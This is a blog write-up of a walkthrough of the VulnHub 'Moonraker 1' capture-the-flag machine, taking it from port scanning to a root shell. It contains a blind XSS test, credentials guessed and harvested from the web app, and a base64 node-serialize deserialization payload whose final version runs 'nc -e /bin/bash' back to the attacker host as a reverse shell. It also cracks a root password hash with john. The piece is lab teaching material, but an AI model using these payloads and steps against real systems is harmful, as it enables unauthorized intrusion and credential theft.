Moonraker One – Writeup

Details

This machine is https://www.vulnhub.com/entry/moonraker-1,264/

Recon

Find the machine

root@kali:~# nmap -T4 -sn 192.168.87.0/24
Nmap scan report for 192.168.87.1
Host is up (0.00025s latency).
MAC Address: 00:50:56:C0:00:01 (VMware)
Nmap scan report for 192.168.87.131
Host is up (0.00046s latency).
MAC Address: 00:0C:29:D0:86:69 (VMware)
Nmap scan report for 192.168.87.254
Host is up (0.00023s latency).
MAC Address: 00:50:56:F0:77:2E (VMware)
Nmap scan report for 192.168.87.128
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 28.04 seconds

Service hunting

root@kali:~# nmap -T4 -sV 192.168.87.131
Nmap scan report for 192.168.87.131
Host is up (0.00054s latency).
Not shown: 65529 closed ports
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.25 ((Debian))
3000/tcp  open  http     Node.js Express framework
4369/tcp  open  epmd     Erlang Port Mapper Daemon
5984/tcp  open  couchdb?
44579/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5984-TCP:V=7.70%I=7%D=3/2%Time=5C7A8582%P=x86_64-pc-linux-gnu%r(Get
SF:Request,1A3,"HTTP/1\.0\x20200\x20OK\r\nCache-Control:\x20must-revalidat
SF:e\r\nConnection:\x20close\r\nContent-Length:\x20164\r\nContent-Type:\x2
SF:0application/json\r\nDate:\x20Sat,\x2002\x20Mar\x202019\x2013:30:41\x20
SF:GMT\r\nServer:\x20CouchDB/2\.2\.0\x20\(Erlang\x20OTP/19\)\r\nX-Couch-Re
SF:quest-ID:\x20831f5b6e4d\r\nX-CouchDB-Body-Time:\x200\r\n\r\n{\"couchdb\
SF:":\"Welcome\",\"version\":\"2\.2\.0\",\"git_sha\":\"2a16ec4\",\"feature
SF:s\":\[\"pluggable-storage-engines\",\"scheduler\"\],\"vendor\":{\"name\
SF:":\"The\x20Apache\x20Software\x20Foundation\"}}\n")%r(HTTPOptions,16E,"
SF:HTTP/1\.0\x20500\x20Internal\x20Server\x20Error\r\nCache-Control:\x20mu
SF:st-revalidate\r\nConnection:\x20close\r\nContent-Length:\x2061\r\nConte
SF:nt-Type:\x20application/json\r\nDate:\x20Sat,\x2002\x20Mar\x202019\x201
SF:3:30:41\x20GMT\r\nServer:\x20CouchDB/2\.2\.0\x20\(Erlang\x20OTP/19\)\r\
SF:nX-Couch-Request-ID:\x20141f8efd63\r\nX-Couch-Stack-Hash:\x201828508689
SF:\r\nX-CouchDB-Body-Time:\x200\r\n\r\n{\"error\":\"unknown_error\",\"rea
SF:son\":\"badarg\",\"ref\":1828508689}\n")%r(FourOhFourRequest,146,"HTTP/
SF:1\.0\x20404\x20Object\x20Not\x20Found\r\nCache-Control:\x20must-revalid
SF:ate\r\nConnection:\x20close\r\nContent-Length:\x2058\r\nContent-Type:\x
SF:20application/json\r\nDate:\x20Sat,\x2002\x20Mar\x202019\x2013:31:34\x2
SF:0GMT\r\nServer:\x20CouchDB/2\.2\.0\x20\(Erlang\x20OTP/19\)\r\nX-Couch-R
SF:equest-ID:\x20c1a5b83f2e\r\nX-CouchDB-Body-Time:\x200\r\n\r\n{\"error\"
SF::\"not_found\",\"reason\":\"Database\x20does\x20not\x20exist\.\"}\n");
MAC Address: 00:0C:29:D0:86:69 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 160.83 seconds

Shell Hunting

I started at port 80 on http://192.168.87.131/

Screenshot 1

There are 3 links, but in the source there's a 4th

Screenshot 2

I moved onto the services page

Screenshot 3

Screenshot 4

Screenshot 5

This indicated there was some NoSQL somewhere, and the link gave ma a url of http://192.168.87.131/svc-inq/sales.html, but first I checked the blog at http://192.168.87.131/blog.html

Screenshot 6

Then onto the cats

Screenshot 7

None of that was useful, so onto the http://192.168.87.131/svc-inq/sales.html

Screenshot 8

I filled out the form

Screenshot 9

Screenshot 10

It seemed to be writing to a file, and mentions a user checking it, so maybe I can use an XSS, I'll start by making a test script and seeing if it gets loaded

root@kali:~# cat /var/www/test.js
console.log("Loaded");
root@kali:~# apache2ctl start
Invoking 'systemctl start apache2'.
Use 'systemctl status apache2' for more info.

And then setup my attack

Screenshot 11

Screenshot 12

Then I waited a minute and checked the logs

root@kali:~# cat /var/log/apache2/access.log
192.168.87.131 - - [02/Mar/2019:09:47:58 -0500] "GET /test.js HTTP/1.1" 200 319 "http://127.0.0.1/svc-inq/salesmoon-gui.php" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.8 Safari/534.34"

It did worked, and revealed a url of

svc-inq/salesmoon-gui.php

So I went to http://192.168.87.131/svc-inq/salesmoon-gui.php

Screenshot 13

I clicked on the back to admin link

Screenshot 14

I checked the couch notes link first

Screenshot 15

I should be able to work out the password, but first onto the Hugo one

Screenshot 16

Back to the password I go, google revealed the name of the girlfriend is "dolly", so the password should be

dollyx99

Or some variation, so I'll try that against couch, which nmap found on port 5984

root@kali:~# curl 192.168.87.131:5984/_all_dbs
["_replicator","_users","links"]
root@kali:~# curl 192.168.87.131:5984/links
{"error":"unauthorized","reason":"You are not authorized to access this db."}

So I try authing as jaws

root@kali:~# curl 192.168.87.131:5984/links -u jaws:dollyx99
{"db_name":"links","update_seq":"17-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXIwNDLXMwBCwxygFFMiQ5L8____sxKZ8ShKUgCSSfZgdYz41DmA1MUTNi8BpK6eoHl5LECSoQFIAZXOJ0btAoja_fjth6g9AFF7PyuRhaDaBxC1IPdmAQBokF6f","sizes":{"file":70921,"external":443,"active":2528},"purge_seq":0,"other":{"data_size":443},"doc_del_count":0,"doc_count":4,"disk_size":70921,"disk_format_version":6,"data_size":2528,"compact_running":false,"cluster":{"q":8,"n":1,"w":1,"r":1},"instance_start_time":"0"}

Dump the list

curl 192.168.87.131:5984/links/_all_docs -u jaws:dollyx99
{"total_rows":4,"offset":0,"rows":[
{"id":"10cbcebcd3dd9df29ec393b7da001f62","key":"10cbcebcd3dd9df29ec393b7da001f62","value":{"rev":"3-dc984edfbce84b76d958d1f6e581ee0b"}},
{"id":"10cbcebcd3dd9df29ec393b7da00342b","key":"10cbcebcd3dd9df29ec393b7da00342b","value":{"rev":"2-69d039d89d87e4120010f9f7268cf543"}},
{"id":"10cbcebcd3dd9df29ec393b7da0044bc","key":"10cbcebcd3dd9df29ec393b7da0044bc","value":{"rev":"2-73a30cd82ef39100bea936db4c3e2edd"}},
{"id":"10cbcebcd3dd9df29ec393b7da005ad3","key":"10cbcebcd3dd9df29ec393b7da005ad3","value":{"rev":"2-30c4839ddbb8885b57bb47688e7f9909"}}
]}

And then query them one by one

root@kali:~# curl 192.168.87.131:5984/links/10cbcebcd3dd9df29ec393b7da001f62 -u jaws:dollyx99
{"_id":"10cbcebcd3dd9df29ec393b7da001f62","_rev":"3-dc984edfbce84b76d958d1f6e581ee0b","desc":"Cat Photo Gallery","link":"/cats/cats-gallery.html"}
root@kali:~# curl 192.168.87.131:5984/links/10cbcebcd3dd9df29ec393b7da00342b -u jaws:dollyx99
{"_id":"10cbcebcd3dd9df29ec393b7da00342b","_rev":"2-69d039d89d87e4120010f9f7268cf543","desc":"Security Camera Clips on Moonraker station","link":"/surv-cam/recent.html"}
root@kali:~# curl 192.168.87.131:5984/links/10cbcebcd3dd9df29ec393b7da0044bc -u jaws:dollyx99
{"_id":"10cbcebcd3dd9df29ec393b7da0044bc","_rev":"2-73a30cd82ef39100bea936db4c3e2edd","desc":"HR Forms","link":"/HR-Confidential/offer-letters.html"}
root@kali:~# curl 192.168.87.131:5984/links/10cbcebcd3dd9df29ec393b7da005ad3 -u jaws:dollyx99
{"_id":"10cbcebcd3dd9df29ec393b7da005ad3","_rev":"2-30c4839ddbb8885b57bb47688e7f9909","desc":"Space Research Files","link":"/x-files/deep-space-findings.html"}

The most interesting one was

/HR-Confidential/offer-letters.html

So I went to http://192.168.87.131/HR-Confidential/offer-letters.html

Screenshot 17

And then went through each one

Screenshot 18

Screenshot 19

Screenshot 20

Screenshot 21

Screenshot 22

Lots of new creds

holly:ArchivesPistolsL2K
hugo:TempleLasersL2K
guard:FacProxsL2K

I'll try the port 3000 now http://192.168.87.131:3000/

Screenshot 23

I use hugos creds

Screenshot 24

Now, I have the code for this from earlier

//Stuff to import
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
// Here's the function they want reviewed...
// I think it decodes the weird cookie string and runs it, prints it, sets it or idk.
app.get('/', function(req, res) {
     if (req.cookies.profile) {
        var str = new Buffer(req.cookies.profile, 'base64').toString();
        var obj = serialize.unserialize(str);
            if (obj.username) {
                     res.send("Stuff here then print out username.. " + escape(obj.username)");
                          }
          } else {
                 res.cookie('profile', "eyJ1c2VybmFtZSI6Imh1Z28ifQ==", {
                 maxAge: 900000,
                        httpOnly: true
                        });
           }
});
app.listen(3000);

This unserializes the cookie, having seen this before I knew it was exploitable, but I wanted to test, using https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/ I came up with the following payload, which if it worked would make a connection back to me and confirm

{"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('nc 192.168.87.128 4444');\n }()"}

I needed to encode this in base64

eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7XG4gXHQgcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ25jIDE5Mi4xNjguODcuMTI4IDQ0NDQnKTtcbiB9KCkifQ==

Using a cookie manager I updated my cookie to this value and then opened a listener

root@kali:~# nc -nvlp 4444

Then refreshed the page

connect to [192.168.87.128] from (UNKNOWN) [192.168.87.131] 58950

With my PoC working, I updated it to spawn a reverse shell

{"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('nc -e /bin/bash 192.168.87.128 4444');\n }()"}

Which encoded to

eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7XG4gXHQgcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ25jIC1lIC9iaW4vYmFzaCAxOTIuMTY4Ljg3LjEyOCA0NDQ0Jyk7XG4gfSgpIn0=

When I ran it

connect to [192.168.87.128] from (UNKNOWN) [192.168.87.131] 58954
$

A shell connected back

Root Time

$ id
uid=1001(jaws) gid=1001(jaws) groups=1001(jaws)
$ python -c "import pty;pty.spawn('/bin/bash')"
jaws@moonraker:/$

I began to ennumerate for a while, checking out the user list

jaws@moonraker:/$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
rtkit:x:105:109:RealtimeKit,,,:/proc:/bin/false
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/bin/false
messagebus:x:107:110::/var/run/dbus:/bin/false
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
speech-dispatcher:x:109:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
lightdm:x:110:113:Light Display Manager:/var/lib/lightdm:/bin/false
pulse:x:111:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false
avahi:x:112:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
saned:x:113:118::/var/lib/saned:/bin/false
couchdb:x:114:121:CouchDB Administrator,,,:/opt/couchdb:/bin/bash
hugo:x:1002:1002:,42,,:/home/hugo:/bin/bash
jaws:x:1001:1001:,,,:/home/jaws:/bin/bash
moonrakertech:x:1003:1003::/home/moonrakertech:/bin/bash
postfix:x:115:122::/var/spool/postfix:/bin/false
hr:x:1000:1000:,,,:/home/hr:/bin/bash
sshd:x:116:65534::/run/sshd:/usr/sbin/nologin
sales:x:1004:1004:,,,:/home/sales:/bin/bash
jaws@moonraker:/$ cd /home
jaws@moonraker:/home$ ls -la
drwxr-xr-x  6 root  root  4096 Oct 14 10:42 .
drwxr-xr-x 22 root  root  4096 Sep 20 17:45 ..
drwxr-xr-x  2 hr    hr    4096 Oct  5 20:24 hr
drwxr-xr-x  2 hugo  hugo  4096 Oct  6 11:47 hugo
drwxr-xr-x  3 jaws  jaws  4096 Oct  5 20:33 jaws
drwxr-xr-x 17 sales sales 4096 Oct 14 15:14 sales

I checked each home, but found nothing new, I eventually ended up checking the config file for couch from earlier

jaws@moonraker:/opt/couchdb/etc$ ls -la
drwxr-xr-x 4 couchdb couchdb  4096 Oct  6 11:19 .
drwxr-xr-x 9 root    root     4096 Sep 20 17:45 ..
drwxr-xr-x 2 couchdb couchdb  4096 Sep 20 17:45 default.d
-rw-r----- 1 couchdb couchdb 23647 Aug  7  2018 default.ini
drwxr-xr-x 2 couchdb couchdb  4096 Sep 20 17:45 local.d
-rw-r--r-- 1 couchdb couchdb  4354 Oct  5 18:45 local.ini
-rwxrwxrwx 1 jaws    jaws      122 Oct  6 11:19 local.ini.test
-rw-r--r-- 1 couchdb couchdb  1953 Aug  7  2018 vm.args
jaws@moonraker:/opt/couchdb/etc$ cat local.ini
[SNIP]
[admins]
;admin = mysecretpassword
;
;REMOVING Hugo's Admin access until front end is complete, uncomment to change -Jaws
;hugo = 321Blast0ff!!

This gave me hugos creds

hugo:321Blast0ff!!

And as ssh was open, I tried to get a nice ssh shell

root@kali:~# ssh hugo@192.168.87.131
[SNIP]
You have mail.
hugo@moonraker:~$

Having mail was interesting

hugo@moonraker:~$ cd /var/mail/
hugo@moonraker:/var/mail$ ls -la
drwxrwsr-x  2 root          mail  4096 Mar  2 10:45 .
drwxr-xr-x 12 root          root  4096 Sep 20 17:38 ..
-rw-------  1 hugo          mail  2994 Oct  6 11:47 hugo
-rw-------  1 moonrakertech mail  1478 Oct  5 19:24 moonrakertech
-rw-------  1 root          mail 70224 Mar  2 10:45 root
-rw-------  1 sales         mail  6342 Oct 14 10:25 sales
hugo@moonraker:/var/mail$ cat hugo
From moonrakertech@moonraker.localdomain  Fri Oct  5 19:11:17 2018
Return-Path: <moonrakertech@moonraker.localdomain>
X-Original-To: hugo@moonraker.localdomain
Delivered-To: hugo@moonraker.localdomain
Received: by moonraker.localdomain (Postfix, from userid 1003)
    id 81CA720405; Fri,  5 Oct 2018 19:11:17 -0400 (EDT)
To: hugo@moonraker.localdomain
Subject: RE:Root Access
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <20181005231117.81CA720405@moonraker.localdomain>
Date: Fri,  5 Oct 2018 19:11:17 -0400 (EDT)
From: moonrakertech@moonraker.localdomain
Mr. Hugo Drax, I don't care if you're the president of the United States, You will need to create a ticket for this request. Do you not understand the IT request process or do we need to require more mandatory online training?
From moonrakertech@moonraker.localdomain  Fri Oct  5 19:39:51 2018
Return-Path: <moonrakertech@moonraker.localdomain>
X-Original-To: hugo@moonraker.localdomain
Delivered-To: hugo@moonraker.localdomain
Received: by moonraker.localdomain (Postfix, from userid 1003)
    id DEF0A20410; Fri,  5 Oct 2018 19:39:51 -0400 (EDT)
To: hugo@moonraker.localdomain
Subject: RE:RE:RE:Root Access
 MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <20181005233951.DEF0A20410@moonraker.localdomain>
Date: Fri,  5 Oct 2018 19:39:51 -0400 (EDT)
From: moonrakertech@moonraker.localdomain
Hugo...I'm being given a reward huh? Finally some well deserved recognition! Also this better come with a bump in pay otherwise I'm not afraid to give you a piece of my mind! See you outside of the Decompression Chamber shortly as per your request...I'm expecting the Award to be in hand as I don't like to get up from me desk.
Also your ticket has been complete. Since I'm feeling nice today, I'm including the password here in its native hash and not in the ticket. BTW this is the old password hash, the new one is the same + "VR00M" without quotes.
Have fun with the decryption process "Boss"! Haha!
root:$6$auLf9y8f$qgi63MGYQGnnk6.6ktcZIMpROPMqMXMEM7JufH1aTIApIPIZZu7yRjfIcZ1pELNoeMM7sIwCrVmMCjNYJRRGf/:17809:0:99999:7:::
From hr@moonraker.localdomain  Fri Oct  5 20:24:20 2018
Return-Path: <hr@moonraker.localdomain>
X-Original-To: hugo@moonraker.localdomain
Delivered-To: hugo@moonraker.localdomain
Received: by moonraker.localdomain (Postfix, from userid 1000)
    id 2412120452; Fri,  5 Oct 2018 20:24:20 -0400 (EDT)
To: hugo@moonraker.localdomain
Subject: Decompression Accident
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <20181006002420.2412120452@moonraker.localdomain>
Date: Fri,  5 Oct 2018 20:24:20 -0400 (EDT)
From: hr@moonraker.localdomain
Mr. Hugo, since you were a witness to Moonrakertech's accident, you'll have to write up a statement. Just stick to the basics like we talked about. Jaws deleted the camera footage, and there were no witnesses.

This gave me an old hash for root, and the difference between the new password and old one, so if I could crack

root:$6$auLf9y8f$qgi63MGYQGnnk6.6ktcZIMpROPMqMXMEM7JufH1aTIApIPIZZu7yRjfIcZ1pELNoeMM7sIwCrVmMCjNYJRRGf/

All I had to do was add

VR00M

So I saved the hash as crack.txt and set john on it

root@kali:~# john ./crack.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cyber            (root)
1g 0:00:00:07 DONE (2019-03-02 10:49) 0.1355g/s 2913p/s 2913c/s 2913C/s sayangkamu..230990
Use the "--show" option to display all of the cracked passwords reliably
Session completed

I then could create the new password as being

cyberVR00M

So I could now

hugo@moonraker:/var/mail$ su
Password:
root@moonraker:/var/mail#

And grab my flag

root@moonraker:/var/mail# cd /root
root@moonraker:~# cat flag.txt
Congrats, you've stopped Hugo Drax and destroyed Moonraker Station!
     \_/
      |._
      |'."-._.-""--.-"-.__.-'/
      |  \                  (
      |   |                  )
      |   |      ROOT       /      d2FzIGRvbGx5IHdlYXJpbmcgYnJhY2VzPw==
      |  /                 /
      |.'                 (
      |.-"-.__.-""-.__.-"-.)
      |
      |
      |

Go to /semaj-dnob/flag-finale-007-moon/ for the finale

And the finale?

Screenshot 25

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.